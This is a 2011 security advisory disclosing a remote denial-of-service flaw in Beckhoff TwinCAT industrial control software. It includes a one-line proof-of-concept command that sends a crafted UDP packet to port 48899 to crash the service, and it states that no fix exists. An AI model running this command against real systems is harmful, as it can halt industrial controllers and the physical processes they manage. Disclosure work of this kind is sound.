#######################################################################

                             Luigi Auriemma

Application:  Beckhoff TwinCAT
              http://www.beckhoff.de/twincat/
Versions:     <= 2.11.0.2004
Platforms:    Windows
Bug:          Denial of Service
Exploitation: remote
Date:         13 Sep 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's website:
"The Beckhoff TwinCAT software system turns almost any compatible PC
into a real-time controller with a multi-PLC system, NC axis control,
programming environment and operating station."


#######################################################################

======
2) Bug
======


Denial of Service caused by an invalid read access.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/udpsz.zip

  udpsz -C "03 66 14 71 00 00 00 00 06 00 00 00 0a ff ff 02 01 01 10 27" -b 0xff SERVER 48899 0x5fe


#######################################################################

======
4) Fix
======


No fix.


#######################################################################